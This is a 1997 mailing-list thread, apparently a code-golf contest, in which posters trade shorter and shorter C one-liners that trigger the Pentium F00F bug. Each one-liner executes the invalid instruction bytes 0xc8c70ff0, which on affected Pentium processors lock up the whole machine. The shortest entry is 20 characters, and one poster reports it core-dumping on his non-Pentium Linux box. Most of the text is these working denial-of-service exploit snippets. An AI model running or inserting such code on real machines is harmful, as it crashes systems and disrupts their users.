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Re: smaller f00f.c




Michael Stutz writes:
> On Fri, 14 Nov 1997, Adam Back wrote:
> > f00fie writes:
> > > In the grand tradition of RSA-in-3-lines-of-perl, we present
> > > Crash-A-Pentium-in-44-characters:
> > > 
> > >    main(){int i=0xc8c70ff0;void (*f)()=&i;f();}
> > 
> > Hey, challenge is on:
> > 
> > main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
> > main(){((int(*)())"\360\017\307\310")();}
> > main(){int i=0xc8c70ff0,(*f)()=&i;f();}
> > main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
> > main(i){i=0xc8c70ff0;((int(*)())&i)();}
> > (*f)();main(i){f=&i;i=0xc8c70ff0;f();}
> > (*f)()="\360\017\307\310";main(){f();}       /* 38 chars */

> How about:
> 
> long main[]={0xc8c70ff0};
> 
> or even
> 
> main[]={0xc8c70ff0}; /* 21 chars */
> 
> Compiles with gcc, but I haven't tested it.

No need for an array, so my entry is:

int main=0xc8c70ff0; /* 20 chars */


Compiles and runs, core dumping with illegal instruction on my
Linux box (obviously, it's not a Pentium).


-- Jeff